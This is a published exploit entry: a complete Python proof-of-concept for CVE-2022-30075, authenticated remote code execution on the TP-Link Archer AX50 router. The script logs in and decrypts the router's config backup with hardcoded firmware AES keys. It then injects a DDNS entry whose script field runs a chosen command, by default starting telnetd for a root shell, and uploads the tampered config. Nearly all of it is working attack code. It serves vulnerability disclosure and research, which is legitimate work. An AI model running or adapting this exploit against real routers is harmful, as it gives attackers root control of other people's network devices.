TP-Link AX50 Remote Code Execution

# Exploit Title: TP-Link Router AX50 firmware 210730 - Remote Code Execution (RCE) (Authenticated)# Exploit Author: Tomas Melicher# Technical Details: https://github.com/aaronsvk/CVE-2022-30075# Date: 2022-06-08# Vendor Homepage: https://www.tp-link.com/# Tested On: Tp-Link Archer AX50# Vulnerability Description: Remote Code Execution via importing malicious config file# CVE: CVE-2022-30075#!/usr/bin/python3import argparse # pip install argparseimport requests # pip install requestsimport binascii, base64, os, re, json, sys, time, math, random, hashlibimport tarfile, zlibfrom Crypto.Cipher import AES, PKCS1_v1_5, PKCS1_OAEP # pip install pycryptodomefrom Crypto.PublicKey import RSAfrom Crypto.Util.Padding import pad, unpadfrom Crypto.Random import get_random_bytesfrom urllib.parse import urlencodeclass WebClient(object):  def __init__(self, target, password):    self.target = target    self.password = password.encode('utf-8')    self.password_hash = hashlib.md5(('admin%s'%password).encode('utf-8')).hexdigest().encode('utf-8')    self.aes_key = (str(time.time()) + str(random.random())).replace('.','')[0:AES.block_size].encode('utf-8')    self.aes_iv = (str(time.time()) + str(random.random())).replace('.','')[0:AES.block_size].encode('utf-8')    self.stok = ''    self.session = requests.Session()    data = self.basic_request('/login?form=auth', {'operation':'read'})    if data['success'] != True:      print('[!] unsupported router')      return    self.sign_rsa_n = int(data['data']['key'][0], 16)    self.sign_rsa_e = int(data['data']['key'][1], 16)    self.seq = data['data']['seq']    data = self.basic_request('/login?form=keys', {'operation':'read'})    self.password_rsa_n = int(data['data']['password'][0], 16)    self.password_rsa_e = int(data['data']['password'][1], 16)    self.stok = self.login()  def aes_encrypt(self, aes_key, aes_iv, aes_block_size, plaintext):    cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv)    plaintext_padded = pad(plaintext, aes_block_size)    return cipher.encrypt(plaintext_padded)  def aes_decrypt(self, aes_key, aes_iv, aes_block_size, ciphertext):    cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv)    plaintext_padded = cipher.decrypt(ciphertext)    plaintext = unpad(plaintext_padded, aes_block_size)    return plaintext  def rsa_encrypt(self, n, e, plaintext):    public_key = RSA.construct((n, e)).publickey()    encryptor = PKCS1_v1_5.new(public_key)    block_size = int(public_key.n.bit_length()/8) - 11    encrypted_text = ''    for i in range(0, len(plaintext), block_size):      encrypted_text += encryptor.encrypt(plaintext[i:i+block_size]).hex()    return encrypted_text  def download_request(self, url, post_data):    res = self.session.post('http://%s/cgi-bin/luci/;stok=%s%s'%(self.target,self.stok,url), data=post_data, stream=True)    filepath = os.getcwd()+'/'+re.findall(r'(?<=filename=")[^"]+', res.headers['Content-Disposition'])[0]    if os.path.exists(filepath):      print('[!] can\'t download, file "%s" already exists' % filepath)      return    with open(filepath, 'wb') as f:      for chunk in res.iter_content(chunk_size=4096):        f.write(chunk)    return filepath  def basic_request(self, url, post_data, files_data={}):    res = self.session.post('http://%s/cgi-bin/luci/;stok=%s%s'%(self.target,self.stok,url), data=post_data, files=files_data)    return json.loads(res.content)  def encrypted_request(self, url, post_data):    serialized_data = urlencode(post_data)    encrypted_data = self.aes_encrypt(self.aes_key, self.aes_iv, AES.block_size, serialized_data.encode('utf-8'))    encrypted_data = base64.b64encode(encrypted_data)    signature = ('k=%s&i=%s&h=%s&s=%d'.encode('utf-8')) % (self.aes_key, self.aes_iv, self.password_hash, self.seq+len(encrypted_data))    encrypted_signature = self.rsa_encrypt(self.sign_rsa_n, self.sign_rsa_e, signature)    res = self.session.post('http://%s/cgi-bin/luci/;stok=%s%s'%(self.target,self.stok,url), data={'sign':encrypted_signature, 'data':encrypted_data}) # order of params is important    if(res.status_code != 200):      print('[!] url "%s" returned unexpected status code'%(url))      return    encrypted_data = json.loads(res.content)    encrypted_data = base64.b64decode(encrypted_data['data'])    data = self.aes_decrypt(self.aes_key, self.aes_iv, AES.block_size, encrypted_data)    return json.loads(data)  def login(self):    post_data = {'operation':'login', 'password':self.rsa_encrypt(self.password_rsa_n, self.password_rsa_e, self.password)}    data = self.encrypted_request('/login?form=login', post_data)    if data['success'] != True:      print('[!] login failed')      return    print('[+] logged in, received token (stok): %s'%(data['data']['stok']))    return data['data']['stok']class BackupParser(object):  def __init__(self, filepath):    self.encrypted_path = os.path.abspath(filepath)    self.decrypted_path = os.path.splitext(filepath)[0]    self.aes_key = bytes.fromhex('2EB38F7EC41D4B8E1422805BCD5F740BC3B95BE163E39D67579EB344427F7836') # strings ./squashfs-root/usr/lib/lua/luci/model/crypto.lua    self.iv = bytes.fromhex('360028C9064242F81074F4C127D299F6') # strings ./squashfs-root/usr/lib/lua/luci/model/crypto.lua  def aes_encrypt(self, aes_key, aes_iv, aes_block_size, plaintext):    cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv)    plaintext_padded = pad(plaintext, aes_block_size)    return cipher.encrypt(plaintext_padded)  def aes_decrypt(self, aes_key, aes_iv, aes_block_size, ciphertext):    cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv)    plaintext_padded = cipher.decrypt(ciphertext)    plaintext = unpad(plaintext_padded, aes_block_size)    return plaintext  def encrypt_config(self):    if not os.path.isdir(self.decrypted_path):      print('[!] invalid directory "%s"'%(self.decrypted_path))      return    # encrypt, compress each .xml using zlib and add them to tar archive    with tarfile.open('%s/data.tar'%(self.decrypted_path), 'w') as tar:      for filename in os.listdir(self.decrypted_path):        basename,ext = os.path.splitext(filename)        if ext == '.xml':          xml_path = '%s/%s'%(self.decrypted_path,filename)          bin_path = '%s/%s.bin'%(self.decrypted_path,basename)          with open(xml_path, 'rb') as f:            plaintext = f.read()          if len(plaintext) == 0:            f = open(bin_path, 'w')            f.close()          else:            compressed = zlib.compress(plaintext)            encrypted = self.aes_encrypt(self.aes_key, self.iv, AES.block_size, compressed)            with open(bin_path, 'wb') as f:              f.write(encrypted)          tar.add(bin_path, os.path.basename(bin_path))          os.unlink(bin_path)    # compress tar archive using zlib and encrypt    with open('%s/md5_sum'%(self.decrypted_path), 'rb') as f1, open('%s/data.tar'%(self.decrypted_path), 'rb') as f2:      compressed = zlib.compress(f1.read()+f2.read())    encrypted = self.aes_encrypt(self.aes_key, self.iv, AES.block_size, compressed)    # write into final config file    with open('%s'%(self.encrypted_path), 'wb') as f:      f.write(encrypted)    os.unlink('%s/data.tar'%(self.decrypted_path))  def decrypt_config(self):    if not os.path.isfile(self.encrypted_path):      print('[!] invalid file "%s"'%(self.encrypted_path))      return    # decrypt and decompress config file    with open(self.encrypted_path, 'rb') as f:      decrypted = self.aes_decrypt(self.aes_key, self.iv, AES.block_size, f.read())    decompressed = zlib.decompress(decrypted)    os.mkdir(self.decrypted_path)    # store decrypted data into files    with open('%s/md5_sum'%(self.decrypted_path), 'wb') as f:      f.write(decompressed[0:16])    with open('%s/data.tar'%(self.decrypted_path), 'wb') as f:      f.write(decompressed[16:])    # untar second part of decrypted data    with tarfile.open('%s/data.tar'%(self.decrypted_path), 'r') as tar:      tar.extractall(path=self.decrypted_path)    # decrypt and decompress each .bin file from tar archive    for filename in os.listdir(self.decrypted_path):      basename,ext = os.path.splitext(filename)      if ext == '.bin':        bin_path = '%s/%s'%(self.decrypted_path,filename)        xml_path = '%s/%s.xml'%(self.decrypted_path,basename)        with open(bin_path, 'rb') as f:          ciphertext = f.read()        os.unlink(bin_path)        if len(ciphertext) == 0:          f = open(xml_path, 'w')          f.close()          continue        decrypted = self.aes_decrypt(self.aes_key, self.iv, AES.block_size, ciphertext)        decompressed = zlib.decompress(decrypted)        with open(xml_path, 'wb') as f:          f.write(decompressed)    os.unlink('%s/data.tar'%(self.decrypted_path))  def modify_config(self, command):    xml_path = '%s/ori-backup-user-config.xml'%(self.decrypted_path)    if not os.path.isfile(xml_path):      print('[!] invalid file "%s"'%(xml_path))      return    with open(xml_path, 'r') as f:      xml_content = f.read()    # https://openwrt.org/docs/guide-user/services/ddns/client#detecting_wan_ip_with_script    payload = '<service name="exploit">\n'    payload += '<enabled>on</enabled>\n'    payload += '<update_url>http://127.0.0.1/</update_url>\n'    payload += '<domain>x.example.org</domain>\n'    payload += '<username>X</username>\n'    payload += '<password>X</password>\n'    payload += '<ip_source>script</ip_source>\n'    payload += '<ip_script>%s</ip_script>\n' % (command.replace('<','<').replace('&','&'))    payload += '<interface>internet</interface>\n' # not worked for other interfaces    payload += '<retry_interval>5</retry_interval>\n'    payload += '<retry_unit>seconds</retry_unit>\n'    payload += '<retry_times>3</retry_times>\n'    payload += '<check_interval>12</check_interval>\n'    payload += '<check_unit>hours</check_unit>\n'    payload += '<force_interval>30</force_interval>\n'    payload += '<force_unit>days</force_unit>\n'    payload += '</service>\n'    if '<service name="exploit">' in xml_content:      xml_content = re.sub(r'<service name="exploit">[\s\S]+?</service>\n</ddns>', '%s</ddns>'%(payload), xml_content, 1)    else:      xml_content = xml_content.replace('</service>\n</ddns>', '</service>\n%s</ddns>'%(payload), 1)    with open(xml_path, 'w') as f:      f.write(xml_content)arg_parser = argparse.ArgumentParser()arg_parser.add_argument('-t', metavar='target', help='ip address of tp-link router', required=True)arg_parser.add_argument('-p', metavar='password', required=True)arg_parser.add_argument('-b', action='store_true', help='only backup and decrypt config')arg_parser.add_argument('-r', metavar='backup_directory', help='only encrypt and restore directory with decrypted config')arg_parser.add_argument('-c', metavar='cmd', default='/usr/sbin/telnetd -l /bin/login.sh', help='command to execute')args = arg_parser.parse_args()client = WebClient(args.t, args.p)parser = Noneif not args.r:  print('[*] downloading config file ...')  filepath = client.download_request('/admin/firmware?form=config_multipart', {'operation':'backup'})  if not filepath:    sys.exit(-1)  print('[*] decrypting config file "%s" ...'%(filepath))  parser = BackupParser(filepath)  parser.decrypt_config()  print('[+] successfully decrypted into directory "%s"'%(parser.decrypted_path))if not args.b and not args.r:  filepath = '%s_modified'%(parser.decrypted_path)  os.rename(parser.decrypted_path, filepath)  parser.decrypted_path = os.path.abspath(filepath)  parser.encrypted_path = '%s.bin'%(filepath)  parser.modify_config(args.c)  print('[+] modified directory with decrypted config "%s" ...'%(parser.decrypted_path))if not args.b:  if parser is None:    parser = BackupParser('%s.bin'%(args.r.rstrip('/')))  print('[*] encrypting directory with modified config "%s" ...'%(parser.decrypted_path))  parser.encrypt_config()  data = client.basic_request('/admin/firmware?form=config_multipart', {'operation':'read'})  timeout = data['data']['totaltime'] if data['success'] else 180  print('[*] uploading modified config file "%s"'%(parser.encrypted_path))  data = client.basic_request('/admin/firmware?form=config_multipart', {'operation':'restore'}, {'archive':open(parser.encrypted_path,'rb')})  if not data['success']:    print('[!] unexpected response')    print(data)    sys.exit(-1)  print('[+] config file successfully uploaded')  print('[*] router will reboot in few seconds... when it becomes online again (few minutes), try "telnet %s" and enjoy root shell !!!'%(args.t))